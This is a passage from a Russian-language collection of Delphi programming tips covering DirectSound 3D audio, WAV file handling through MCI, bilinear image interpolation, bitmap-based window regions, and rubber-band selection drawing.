Точка O (фактически вы) имеет координаты (0,0), источник звука А(-25,1). Разумеется понятие "метр" весьма условно. При нажатии на кнопку в буфер SecondarySoundBuffer загружается звук 'xhe4.wav'. Это звук работающего винта вертолета, его длина (звука) ровно 3.99 с (а размер буфера ровно 4 с). Далее происходит микширование из вторичного буфера в первичный с флагом DSBPLAY_LOOPING, что позволяет сделать многократно повторяющийся звук; время в 0.01 с ухом практически не улавливается и получается непрерывный звук летящего вертолета. После этого запускется таймер (поле INTERVAL в Инспекторе Оъектов установлено в 1). Разумеется вам совсем необязательно делать именно так, это просто пример. В процедуре Timer1Timer просто меняется координата X с шагом 0.1. В итоге получаем летящий вертолет слева направо. Заодно можете проверить, правильно ли у вас расположены колонки.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
    DirectSound : IDirectSound;
    DirectSoundBuffer : IDirectSoundBuffer;
    SecondarySoundBuffer : IDirectSoundBuffer;
    SecondarySound3DBuffer : IDirectSound3DBuffer;
    procedure AppCreateWritePrimaryBuffer;
    procedure AppCreateWriteSecondary3DBuffer(var Buffer: IDirectSoundBuffer;
    SamplesPerSec: Integer;
    Bits: Word;
    isStereo:Boolean;
    Time: Integer);
    procedure AppSetSecondary3DBuffer(var Buffer: IDirectSoundBuffer;
    var _3DBuffer: IDirectSound3DBuffer);
    procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
    OffSet: DWord; var SoundData;
    SoundBytes: DWord);
    procedure CopyWAVToBuffer(name: PChar; var Buffer: IDirectSoundBuffer);
  public
    { Public declarations }
end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var
  Result: HResult;
begin
  if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
    raise Exception.Create('Failed to create IDirectSound object');
  AppCreateWritePrimaryBuffer;
  AppCreateWriteSecondary3DBuffer(SecondarySoundBuffer, 22050,8,False,4);
  AppSetSecondary3DBuffer(SecondarySoundBuffer, SecondarySound3DBuffer);
  Timer1.Enabled:=False;
end;

procedure TForm1.FormDestroy(Sender: TObject);
var
  i: ShortInt;
begin
  if Assigned(DirectSoundBuffer) then
    DirectSoundBuffer.Release;
  if Assigned(SecondarySound3DBuffer) then
    SecondarySound3DBuffer.Release;
  if Assigned(SecondarySoundBuffer) then
    SecondarySoundBuffer.Release;
  if Assigned(DirectSound) then
    DirectSound.Release;
end;

procedure TForm1.AppCreateWritePrimaryBuffer;
var
  BufferDesc: DSBUFFERDESC;
  Caps: DSBCaps;
  PCM: TWaveFormatEx;
begin
  FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
  FillChar(PCM, SizeOf(TWaveFormatEx),0);
  with BufferDesc do
  begin
    PCM.wFormatTag:=WAVE_FORMAT_PCM;
    PCM.nChannels:=2;
    PCM.nSamplesPerSec:=22050;
    PCM.nBlockAlign:=4;
    PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
    PCM.wBitsPerSample:=16;
    PCM.cbSize:=0;
    dwSize:=SizeOf(DSBUFFERDESC);
    dwFlags:=DSBCAPS_PRIMARYBUFFER;
    dwBufferBytes:=0;
    lpwfxFormat:=nil;
  end;
  if DirectSound.SetCooperativeLevel(Handle,DSSCL_WRITEPRIMARY) <> DS_OK then
    raise Exception.Create('Unable to set Cooperative Level');
  if DirectSound.CreateSoundBuffer(BufferDesc,DirectSoundBuffer,nil) <> DS_OK then
    raise Exception.Create('Create Sound Buffer failed');
  if DirectSoundBuffer.SetFormat(PCM) <> DS_OK then
    raise Exception.Create('Unable to Set Format ');
  if DirectSound.SetCooperativeLevel(Handle,DSSCL_NORMAL) <> DS_OK then
    raise Exception.Create('Unable to set Cooperative Level');
end;

procedure TForm1.AppCreateWriteSecondary3DBuffer;
var
  BufferDesc: DSBUFFERDESC;
  Caps: DSBCaps;
  PCM: TWaveFormatEx;
begin
  FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
  FillChar(PCM, SizeOf(TWaveFormatEx),0);
  with BufferDesc do
  begin
    PCM.wFormatTag:=WAVE_FORMAT_PCM;
    if isStereo then
      PCM.nChannels:=2
    else
      PCM.nChannels:=1;
    PCM.nSamplesPerSec:=SamplesPerSec;
    PCM.nBlockAlign:=(Bits div 8)*PCM.nChannels;
    PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
    PCM.wBitsPerSample:=Bits;
    PCM.cbSize:=0;
    dwSize:=SizeOf(DSBUFFERDESC);
    dwFlags:=DSBCAPS_STATIC or DSBCAPS_CTRL3D;
    dwBufferBytes:=Time*PCM.nAvgBytesPerSec;
    lpwfxFormat:=@PCM;
  end;
  if DirectSound.CreateSoundBuffer(BufferDesc, Buffer, nil) <> DS_OK then
    raise Exception.Create('Create Sound Buffer failed');
end;

procedure TForm1.AppWriteDataToBuffer;
var
  AudioPtr1, AudioPtr2 : Pointer;
  AudioBytes1, AudioBytes2 : DWord;
  h : HResult;
  Temp : Pointer;
begin
  H:=Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
  AudioPtr2, AudioBytes2, 0);
  if H = DSERR_BUFFERLOST then
  begin
    Buffer.Restore;
    if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2, 0) <> DS_OK then
      raise Exception.Create('Unable to Lock Sound Buffer');
  end
  else
  if H <> DS_OK then
    raise Exception.Create('Unable to Lock Sound Buffer');
  Temp:=@SoundData;
  Move(Temp^, AudioPtr1^, AudioBytes1);
  if AudioPtr2 <> nil then
  begin
    Temp:=@SoundData; Inc(Integer(Temp), AudioBytes1);
    Move(Temp^, AudioPtr2^, AudioBytes2);
  end;
  if Buffer.UnLock(AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2) <> DS_OK then
    raise Exception.Create('Unable to UnLock Sound Buffer');
end;

procedure TForm1.CopyWAVToBuffer;
var
  Data : PChar;
  FName : TFileStream;
  DataSize : DWord;
  Chunk : string[4];
  Pos : Integer;
begin
  FName:=TFileStream.Create(name,fmOpenRead);
  Pos:=24;
  SetLength(Chunk,4);
  repeat
    FName.Seek(Pos, soFromBeginning);
    FName.read(Chunk[1],4);
    Inc(Pos);
  until
    Chunk = 'data';
  FName.Seek(Pos+3, soFromBeginning);
  FName.read(DataSize, SizeOf(DWord));
  GetMem(Data,DataSize);
  FName.read(Data^, DataSize);
  FName.Free;
  AppWriteDataToBuffer(Buffer,0,Data^,DataSize);
  FreeMem(Data,DataSize);
end;

var
  Pos: Single = -25;

procedure TForm1.AppSetSecondary3DBuffer;
begin
  if Buffer.QueryInterface(IID_IDirectSound3DBuffer, _3DBuffer) <> DS_OK then
    raise Exception.Create('Failed to create IDirectSound3D object');
  if _3DBuffer.SetPosition(Pos,1,1,0) <> DS_OK then
    raise Exception.Create('Failed to set IDirectSound3D Position');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  CopyWAVToBuffer('xhe4.wav',SecondarySoundBuffer);

  if SecondarySoundBuffer.Play(0,0,DSBPLAY_LOOPING) <> DS_OK then
    ShowMessage('Can not play the Sound');

  Timer1.Enabled:=True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  SecondarySound3DBuffer.SetPosition(Pos,1,1,0);
  Pos:=Pos + 0.1;
end;

end.

Взято с http://delphiworld.narod.ru


Создание пустого wav-файла

Как мне создать пустой wav-файл? Это просто пустой двоичный файл?

The TMediaPlayer может открыть звуковой файл, если он содержит, по крайней мере, один байт данных. Я обнаружил это, когда с помощью данного компонента пытался создать и открыть звуковой файл, содержащий только заголовок звукового файла. The TMediaplayer не захотел этого делать.

Нижеприведенный код создаст звуковой файл размером 1 байт. Конечно это криво, но это работает. Вам необходимо лишь добавить MMSYSTEM ко всем модулям, использующим данную функцию.

function CreateNewWave(NewFileName: string): Boolean;

var
  DeviceID: Word;
  Return: LongInt;
  MciOpen: TMCI_Open_Parms;
  MciRecord: TMCI_Record_Parms;
  MciPlay: TMCI_Play_Parms;
  MciSave: TMCI_SaveParms;
  MCIResult: LongInt;
  Flags: Word;
  TempFileName: array[0..255] of char;

begin
  MediaPlayer.Close;

  StrPCopy(TempFileName, NewFileName);
  MciOpen.lpstrDeviceType := 'waveaudio';
  MciOpen.lpstrElementName := '';
  Flags := Mci_Open_Element or Mci_Open_Type;
  MCIResult := MciSendCommand(0, MCI_OPEN, Flags, LongInt(@MciOpen));

  DeviceID := MciOpen.wDeviceId;

  MciRecord.dwTo := 1;
  Flags := Mci_To or Mci_Wait;
  MCIResult := MciSendCommand(DeviceID, Mci_Record, Flags, LongInt(@MciRecord));

  mciPlay.dwFrom := 0;
  Flags := Mci_From or Mci_Wait;
  MciSendCommand(DeviceId, Mci_Play, Flags, LongInt(@MciPlay));

  mciSave.lpfileName := TempFilename;
  Flags := MCI_Save_File or Mci_Wait;
  MCIResult := MciSendCommand(DeviceID, MCI_Save, Flags, LongInt(@MciSave));

  Result := MciSendCommand(DeviceID, Mci_Close, 0, LongInt(nil)) = 0;
end;

Как мне очистить содержимое Wav-файла? Просто заново создать пустой?
Вот небольшой компонент, позволяющий стирать любую часть wave-файла:

unit Nickmp;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, MPlayer, MMSystem;

type
  TNickMediaPlayer = class(TMediaPlayer)
  private
{ Private declarations }
  protected
{ Protected declarations }
  public
{ Public declarations }
    function DeleteWaveChunk(aFrom, aTo: LongInt): Longint;
  published
{ Published declarations }
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Samples', [TNickMediaPlayer]);
end;

function TNickMediaPlayer.DeleteWaveChunk(aFrom, aTo: LongInt): Longint;
var
  DeleteParms: TMCI_WAVE_DELETE_PARMS;
  Flags: LongInt;
begin
  Flags := 0;

  if Wait then Flags := mci_Wait;
  if Notify then Flags := Flags or mci_Notify;
  DeleteParms.dwCallback := Handle;
  Flags := Flags or mci_From;
  DeleteParms.dwFrom := aFrom;
  Flags := Flags or mci_To;
  DeleteParms.dwTo := aTo;
  Result := mciSendCommand(DeviceID, mci_Delete, Flags, Longint(@DeleteParms));
end;

end.

- Nick Hodges
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как получить длину wav в секундах?

uses
  MPlayer, MMsystem;

type
  EMyMCIException = class(Exception);
  TWavHeader = record
    Marker1: array[0..3] of Char;
    BytesFollowing: Longint;
    Marker2: array[0..3] of Char;
    Marker3: array[0..3] of Char;
    Fixed1: Longint;
    FormatTag: Word;
    Channels: Word;
    SampleRate: Longint;
    BytesPerSecond: Longint;
    BytesPerSample: Word;
    BitsPerSample: Word;
    Marker4: array[0..3] of Char;
    DataBytes: Longint;
  end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Header: TWavHeader;
begin
  with TFileStream.Create('C:\SomeFile.wav', fmOpenRead) do
    try
      ReadBuffer(Header, SizeOf(Header));
    finally
      Free;
    end;
  ShowMessage(FloatToStr((Int64(1000) * header.DataBytes div header.BytesPerSecond) / 1000));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Разные вопросы, связанные с графикой

Cодержание раздела:

Как качественно увеличить изображение при помощи билинейной интерполяции
Как поместить картинку из базы данных, например MsSQL, в компонент TIMAGE ?
Оптимизация скинов для окошек сложной формы
Как сделать выделение "резиновым прямоугольником"?
Перемещать объект на сложном фоне New!
Как добавить функции картографирования в приложение New!
Определить формат изображения, загруженного в TMemoryStream New!


Как качественно увеличить изображение при помощи билинейной интерполяции

При увеличении изображения нужно находить цвет точек, находящимися между
точками исходного изображения. Функция CopyRect, встроенная в Delphi берет
для этого цвет ближайшей точки. Увеличенное изображение получается некрасивым.
Чтобы избежать этого, используют интерполяцию.
Существует несколько видов интерполяции изображения. Наиболее простой из них - билинейный.

Изображение рассматривается как поверхность, цвет - третье измерение.
Если изображение цветное, то интерполяция проводится отдельно для трех цветов.
Для каждой точки нового изображения с координатами (xo,yo)
нужно найти четыре ближайшие точки исходного изображения.
Эти точки образуют квадрат. Через две верхние точки проводится прямая f1(x),
через две нижние - f2(x). Дальше находятся координаты для точек f1(xo) и f2(xo),
через которые проводится третья прямая f3(y). Цвет искомой точки - это f3(yo).

Этот алгоритм хорошо работает при целых или больших коэффициентах увеличения.
Но резкие границы размываются. Для уменьшения изображения этот алгоритм также не подходит.
Эта программа при нажатии на Button1 увеличивает часть изображения на экране,
а при нажатии на Button2 увеличивает открытое изображение.

procedure Interpolate(var bm: TBitMap; dx, dy: single);
var
  bm1: TBitMap;
  z1, z2: single;
  k, k1, k2: single;
  x1, y1: integer;
  c: array [0..1, 0..1, 0..2] of byte;
  res: array [0..2] of byte;
  x, y: integer;
  xp, yp: integer;
  xo, yo: integer;
  col: integer;
  pix: TColor;
begin
  bm1 := TBitMap.Create;
  bm1.Width := round(bm.Width * dx);
  bm1.Height := round(bm.Height * dy);
  for y := 0 to bm1.Height - 1 do begin
    for x := 0 to bm1.Width - 1 do begin
      xo := trunc(x / dx);
      yo := trunc(y / dy);
      x1 := round(xo * dx);
      y1 := round(yo * dy);

      for yp := 0 to 1 do
        for xp := 0 to 1 do begin
          pix := bm.Canvas.Pixels[xo + xp, yo + yp];
          c[xp, yp, 0] := GetRValue(pix);
          c[xp, yp, 1] := GetGValue(pix);
          c[xp, yp, 2] := GetBValue(pix);
        end;

      for col := 0 to 2 do begin
        k1 := (c[1,0,col] - c[0,0,col]) / dx;
        z1 := x * k1 + c[0,0,col] - x1 * k1;
        k2 := (c[1,1,col] - c[0,1,col]) / dx;
        z2 := x * k2 + c[0,1,col] - x1 * k2;
        k := (z2 - z1) / dy;
        res[col] := round(y * k + z1 - y1 * k);
      end;
      bm1.Canvas.Pixels[x,y] := RGB(res[0], res[1], res[2]);
    end;
    Form1.Caption := IntToStr(round(100 * y / bm1.Height)) + '%';
    Application.ProcessMessages;
    if Application.Terminated then Exit;
  end;
  bm := bm1;
end;

const
  dx = 5.5;
  dy = 5.5;

procedure TForm1.Button1Click(Sender: TObject);
const
  w = 50;
  h = 50;
var
  bm: TBitMap;
  can: TCanvas;
begin
  bm := TBitMap.Create;
  can := TCanvas.Create;
  can.Handle := GetDC(0);
  bm.Width := w;
  bm.Height := h;
  bm.Canvas.CopyRect(Bounds(0, 0, w, h), can, Bounds(0, 0, w, h));
  ReleaseDC(0, can.Handle);
  Interpolate(bm, dx, dy);
  Form1.Canvas.Draw(0, 0, bm);
  Form1.Caption := 'x: ' + FloatToStr(dx) +
    ' y: ' + FloatToStr(dy) +
    ' width: ' + IntToStr(w) +
    ' height: ' + IntToStr(h);
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  bm: TBitMap;
begin
  if OpenDialog1.Execute then
    bm.LoadFromFile(OpenDialog1.FileName);
  Interpolate(bm, dx, dy);
  Form1.Canvas.Draw(0, 0, bm);
  Form1.Caption := 'x: ' + FloatToStr(dx) +
    ' y: ' + FloatToStr(dy) +
    ' width: ' + IntToStr(bm.Width) +
    ' height: ' + IntToStr(bm.Height);
end;

Эта программа строит заданные графики, используя модуль Recognition.
От констант left и right зависит диапазон x, от YScale зависит масштаб по y, а от k зависит качество прорисовки.
uses Recognition;

procedure TForm1.Button1Click(Sender: TObject);
const
  left = -10;
  right = 10;
  YScale = 50;
  k = 10;
var
  i: integer;
  Num: extended;
  s: String;
  XScale: single;
  col: TColor;
begin
  s := Edit1.Text;
  preparation(s, ['x']);
  XScale := PaintBox1.Width / (right - left);
  randomize;
  col := RGB(random(100), random(100), random(100));
  for i := round(left * XScale * k) to round(right * XScale * k) do
    if recogn(ChangeVar(s, 'x', i / XScale / k), Num) then
      PaintBox1.Canvas.Pixels[round(i / k - left * XScale),
        round(PaintBox1.Height / 2 - Num * YScale)] := col;
end;

Взято с сайта http://blackman.wp-club.net/


Как поместить картинку из базы данных, например MsSQL, в компонент TIMAGE ?

Предполагается, что поле BLOB (например, Pict)
2) в запросе Query.SQL пишется что-то вроде
'select Pict from sometable where somefield=somevalue'
3) запрос открывается
4) делается "присваивание":
Image1.Picture.Assing(TBlobField(Query.FieldByName('Pict'))
или, если известно, что эта картинка - Bitmap, то можно
Image1.Picture.Bitmap.Assing(TBlobField(Query.FieldByName('Pict'))

А можно воспользоваться компонентом TDBImage.

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Оптимизация скинов для окошек сложной формы

Автор: Бочаров Александр

Немного предистории: надо было мне создать скиновое окошко. Вроде несложно, исходников по этому делу везде лежит навалом, бери да делай. Проблема организовалась в том, что для сложных фигур просчет такого окна из растра занимает достаточно много времени. А когда окон несколько? Короче, я решил все это дело написать самостоятельно, причем отказавшись от таких вещей, как GetPixel() и CombineRgn(). Получилось вроде здорово и быстро.

Далее следует исходный код с комментариями:

unit RgnUnit;

interface

uses
  Windows, SysUtils, Classes;

function CreateBitmapRgn(DC : hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
{
Данная функция создает регион, используя для этого растр Bitmap
и исключая из него цвет TransClr. Все расчеты производятся для
устройства DC.

данная функция состоит из двух частей:

первая часть выделяет память и копирует туда исходное изображение в формате
24 бита на точку, без палитры, т.е. фактически в каждых трех байтах
данного раздела памяти будет записан цвет точки исходного изображения.
Данный формат был выбран из удобства его обработки
(нет необходимости создавать палитру), к тому же нет потери качества
при конвертации исходного изображения. Однако, теоретически можно использовать
любой формат.

Для выделения памяти под конвертируемое изображение используется функция
WinAPI CreateDIBSection. Данная функция выделяет память и создает
независмый растр. Для вызова данной функции необходимо заполнить структуру
BITMAPINFO, что достаточно не сложно.
Внимание! для изображений Windows Bitmap используется разрешение в формате
dots per metr (pixels per metr), стандартному разрешению 72dpi соответствует
2834dpm.

Фактически, данную функция можно не использовать, вручную выделив память
для последующего переноса исходного изображения.

Для конвертации и переноса исходного изображения в выделнную память
используется функция WinAPI GetDIBits. Функции передаются следуюшие параметры:
исходное изображение, количество рядов для переноса, указатель на память,
куда следует перенести изображение, структура BITMAPINFO с заполнеными первыми
шестью членами (именно здесь задяются параметры для конвертирования
изображения). Фактически, данная функция может перевести любой исходный растр
в любой необходимый растр.

вторая чать описываемой функции проходится по области памяти, куда было
занесено конвертируемое изображение, отсекает ненужные области и содает регион.
Для создания региона используется функция WinAPI ExtCreateRegion. Для вызова
данной функции необходимо заполнить структуру RGNDATA, состоящую из структуры
RGNDATAHEADER и необходимого количества структур RECT. в Дельфи структура
RGNDATA описана так:

  _RGNDATA = record
    rdh: TRgnDataHeader;
    Buffer: array[0..0] of CHAR;
    Reserved: array[0..2] of CHAR;
  end;
  RGNDATA = _RGNDATA;

Скорее всего, поле Reserved было введено программистами Дельфи только для того,
чтобы в нее умещался хотя бы один прямоугольник, т.к. в Microsoft Platfrom SDK
этого поля нет. Однако, данная структура нам не подходит, т.к. нам необходимо
учитывать сразу несколько прямоугольников. Для решения этой задачи приходится
выделять память вручную, с учетом RGNDATAHEADER и количества прямоугольников,
необходимых нам, заносить туда прямоугольники (после RGNDATAHEADER),
создавать указатель на структуру RGNDATA и ставить его на выделнную память.

Следовательно, придется два раза пройтись по растру: первый раз - для расчета
количества прямоугольников, а второй - для уже фактического их занесения
в выделенную память.

Есть несколько способов для избежания двойного прохода растра, но все они
имеют свои недостатки и здесь не рассматриваются. В любом случае, даже для
больших и сложных изображений эти два прохода достаточно быстры.

по окнчании работы функции освобождается память, выделенная на конвертируемый
растр и структуру RGNDATA.
}

implementation

//создает регион из растра Bitmap для DC с удалением цвета TransClr
//внимание! TColorRef и TColor не одно и тоже.
//Для перевода используется функция ColorToRGB().

function CreateBitmapRgn(DC: hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
var
  bmInfo: TBitmap;                //структура BITMAP WinAPI
  W, H: Integer;                  //высота и ширина растра
  bmDIB: hBitmap;                 //дискрептор независимого растра
  bmiInfo: BITMAPINFO;            //структура BITMAPINFO WinAPI
  lpBits, lpOldBits: PRGBTriple;  //указатели на структуры RGBTRIPLE WinAPI
  lpData: PRgnData;               //указатель на структуру RGNDATA WinAPI
  X, Y, C, F, I: Integer;         //переменные циклов
  Buf: Pointer;                   //указатель
  BufSize: Integer;               //размер указателя
  rdhInfo: TRgnDataHeader;        //структура RGNDATAHEADER WinAPI
  lpRect: PRect;                  //указатель на TRect (RECT WinAPI)
begin
  Result:=0;
  if Bitmap=0 then Exit;          //если растр не задан, выходим

  GetObject(Bitmap, SizeOf(bmInfo), @bmInfo);  //узнаем размеры растра
  W:=bmInfo.bmWidth;                           //используя структуру BITMAP
  H:=bmInfo.bmHeight;
  I:=(W*3)-((W*3) div 4)*4;                    //определяем смещение в байтах
  if I<>0 then I:=4-I;

//Пояснение: растр Windows Bitmap читается снизу вверх, причем каждая строка
//дополняется нулевыми байтами до ее кратности 4.
//для 32-х битный растров такой сдвиг делать не надо.

//заполняем BITMAPINFO для передачи в CreateDIBSection

  bmiInfo.bmiHeader.biWidth:=W;             //ширина
  bmiInfo.bmiHeader.biHeight:=H;            //высота
  bmiInfo.bmiHeader.biPlanes:=1;            //всегда 1
  bmiInfo.bmiHeader.biBitCount:=24;         //три байта на пиксель
  bmiInfo.bmiHeader.biCompression:=BI_RGB;  //без компрессии
  bmiInfo.bmiHeader.biSizeImage:=0;         //размер не знаем, ставим в ноль
  bmiInfo.bmiHeader.biXPelsPerMeter:=2834;  //пикселей на метр, гор.
  bmiInfo.bmiHeader.biYPelsPerMeter:=2834;  //пикселей на метр, верт.
  bmiInfo.bmiHeader.biClrUsed:=0;           //палитры нет, все в ноль
  bmiInfo.bmiHeader.biClrImportant:=0;      //то же
  bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); //размер структруы
  bmDIB:=CreateDIBSection(DC, bmiInfo, DIB_RGB_COLORS,
                          Pointer(lpBits), 0, 0);
//создаем независимый растр WxHx24, без палитры, в указателе lpBits получаем
//адрес первого байта этого растра. bmDIB - дискрептор растра

//заполняем первые шесть членов BITMAPINFO для передачи в GetDIBits

  bmiInfo.bmiHeader.biWidth:=W;             //ширина
  bmiInfo.bmiHeader.biHeight:=H;            //высота
  bmiInfo.bmiHeader.biPlanes:=1;            //всегда 1
  bmiInfo.bmiHeader.biBitCount:=24;         //три байта на пиксель
  bmiInfo.bmiHeader.biCompression:=BI_RGB;  //без компресси
  bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); //размер структуры
  GetDIBits(DC, Bitmap, 0, H-1, lpBits, bmiInfo, DIB_RGB_COLORS);
//конвертируем исходный растр в наш с его копированием по адресу lpBits

  lpOldBits:=lpBits;  //запоминаем адрес lpBits

//первый проход - подсчитываем число прямоугольников, необходимых для
//создания региона
  C:=0;                         //сначала ноль
  for Y:=H-1 downto 0 do        //проход снизу вверх
    begin
      X:=0;
      while X<W do              //от 0 до ширины-1
        begin
//пропускаем прзрачный цвет, увеличивая координату и указатель
          while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
                     lpBits.rgbtBlue)=TransClr) and (X<W) do
            begin
              Inc(lpBits);
              X:=X+1;
            end;
//если нашли не прозрачный цвет, то считаем, сколько точек в ряду он идет
          if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
                 lpBits.rgbtBlue)<>TransClr then
            begin
              while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
                      lpBits.rgbtBlue)<>TransClr) and (X<W) do
                begin
                  Inc(lpBits);
                  X:=X+1;
                end;
              C:=C+1;  //увиличиваем счетчик прямоугольников
            end;
        end;
//ряд закончился, необходимо увеличить указатель до кратности 4
      PChar(lpBits):=PChar(lpBits)+I;
    end;

  lpBits:=lpOldBits;  //восстанавливаем значение lpBits

//Заполняем структуру RGNDATAHEADER
  rdhInfo.iType:=RDH_RECTANGLES;             //будем использовать прямоугольники
  rdhInfo.nCount:=C;                         //их количество
  rdhInfo.nRgnSize:=0;                       //размер выделяем памяти не знаем
  rdhInfo.rcBound:=Rect(0, 0, W, H);         //размер региона
  rdhInfo.dwSize:=SizeOf(rdhInfo);           //размер структуры

//выделяем память для струтуры RGNDATA:
//сумма RGNDATAHEADER и необходимых на прямоугольников
  BufSize:=SizeOf(rdhInfo)+SizeOf(TRect)*C;
  GetMem(Buf, BufSize);
  lpData:=Buf;             //ставим указатель на выделенную память
  lpData.rdh:=rdhInfo;     //заносим в память RGNDATAHEADER

//Заполдяенм память прямоугольниками
  lpRect:=@lpData.Buffer;  //первый прямоугольник
  for Y:=H-1 downto 0 do
    begin
      X:=0;
      while X<W do
        begin
          while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
                  lpBits.rgbtBlue)=TransClr) and (X<W) do
            begin
              Inc(lpBits);
              X:=X+1;
            end;
          if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
                 lpBits.rgbtBlue)<>TransClr then
            begin
              F:=X;
              while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
                      lpBits.rgbtBlue)<>TransClr) and (X<W) do
                begin
                  Inc(lpBits);
                  X:=X+1;
                end;
              lpRect^:=Rect(F, Y, X, Y+1);  //заносим координаты
              Inc(lpRect);                  //переходим к следующему
            end;
        end;
      PChar(lpBits):=PChar(lpBits)+I;
    end;

//после окночания заполнения структуры RGNDATA можно создавать регион.
//трансформации нам не нужны, ставим в nil, указываем размер
//созданной структуры и ее саму.
  Result:=ExtCreateRegion(nil, BufSize, lpData^);  //создаем регион

  FreeMem(Buf, BufSize);  //теперь структура RGNDATA больше не нужна, удаляем
  DeleteObject(bmDIB);    //созданный растр тоже удаляем
end;

end.

Взято из http://forum.sources.ru


Как сделать выделение "резиновым прямоугольником"?

Как реализовать выделение "резиновым прямоугольником". Иными словами, когда пользоватьль нажимает на левую кнопку мыши и сдвигает ее, на экране появляется прямоугольник, изменяющий размеры при движении мыши, причем все объекты, попавшие в этот прямоугольник выделяются.
В качестве объекта я взял Label, меняющий цвет в зависимости от того, выделен он или нет. При нажатии мышью на форме в FirstPoint кладутся координата курсора. При дальнейшем движении мыши координаты прямоугольника будут высчитываться по FirstPoint и текущим координатам курсора. Причем, чтобы программа нормально отрабатывала случай, когда высота или ширина прямоугольника отрицательная (это произойдет, если увести мышь левее или выше начальной точки), создана процедура NormalRect. NormalRect устанавливает координаты прямоугольника sel по координатам двух протвоположенных углов прямоугольника, вне зависимости от порядка. DrawRect рисует на форме прямоугольник, использую режим XOR. Благодаря этому режиму, чтобы стереть такой прямоугольник, достаточно нарисовать его повторно.
Скачать необходимые для компиляции файлы проекта можно на program.dax.ru/subscribe/.

uses stdctrls;
var
Selecting: boolean = false;
FirstPoint: TPoint;
sel: TRect;

procedure DrawRect;
begin
with Form1.Canvas do begin
Pen.Style := psDot;
Pen.Color := clGray;
Pen.Mode := pmXor;
Brush.Style := bsClear;
Rectangle(sel.Left, sel.Top, sel.Right, sel.Bottom);
end;
end;

procedure NormalRect(p1, p2: TPoint);
begin
if p1.x < p2.x then
begin
sel.Left := p1.x;
sel.Right := p2.x;
end
else
begin
sel.Left := p2.x;
sel.Right := p1.x;
end;
if p1.y < p2.y then
begin
sel.Top := p1.y;
sel.Bottom := p2.y;
end
else
begin
sel.Top := p2.y;
sel.Bottom := p1.y;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var i: integer;
begin
randomize;
for i := 1 to random(5) + 5 do
begin
with TLabel.Create(Form1) do
begin
Caption := 'Label' + IntToStr(i);
Left := random(Form1.ClientWidth - Width);
Top := random(Form1.ClientHeight - Height);
Visible := true;
Parent := Form1;
end;
end;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
if selecting or (Button <> mbLeft) then Exit;
SetCapture(Form1.Handle);
Selecting := true;
FirstPoint := Point(X, Y);
sel := Bounds(X, Y, 0, 0);
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
procedure SelectLebel(lb: TLabel; r: TRect);
var
select: boolean;
res: TRect;
begin
select := IntersectRect(res, lb.BoundsRect, r);
if select and (lb.Color = clNavy) then Exit;
if select then
begin
lb.Color := clNavy;
lb.Font.Color := clWhite;
end
else
begin
lb.Color := clBtnFace;
lb.Font.Color := clBlack;
end;
end;

var i: integer;
begin
if not Selecting then Exit;
DrawRect;
NormalRect(FirstPoint, Point(X, Y));
for i := 0 to Form1.ComponentCount - 1 do
if (Form1.Components[i] is TLabel) then
SelectLebel(Form1.Components[i] as TLabel, sel);
Application.ProcessMessages;
DrawRect;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if (not Selecting) or (Button <> mbLeft) then Exit;
NormalRect(FirstPoint, Point(X, Y));
DrawRect;
ReleaseCapture;
Selecting := false;
end;
Даниил Карапетян.
На сайте http://delphi4all.narod.ru Вы найдете еще более 100 советов по Delphi.
Email: delphi4all@narod.ru


Перемещать объект на сложном фоне

Написать графический редактор, как Paint Brush, в Delphi очень просто. Но встает одна проблема. Чтобы нарисовать линию, пользователь нажимает мышью на поле, двигает ее, и отпускает кнопку. Во время движения мыши линия все время перерисовывается. Причем фон, после того, как линия переместилась, должен восстановиться. Для этого можно использовать логическую операцию XOR. Важное свойство этой операции заключается в том, что при любых A и B, A XOR B XOR B = A. Это означает, что если воспользоваться этой операцией для рисования линии, то при повторном ее рисовании на этом месте этим же цветом она сотрется, оставив за собой прежний фон.

procedure TForm1.XORLine;
begin
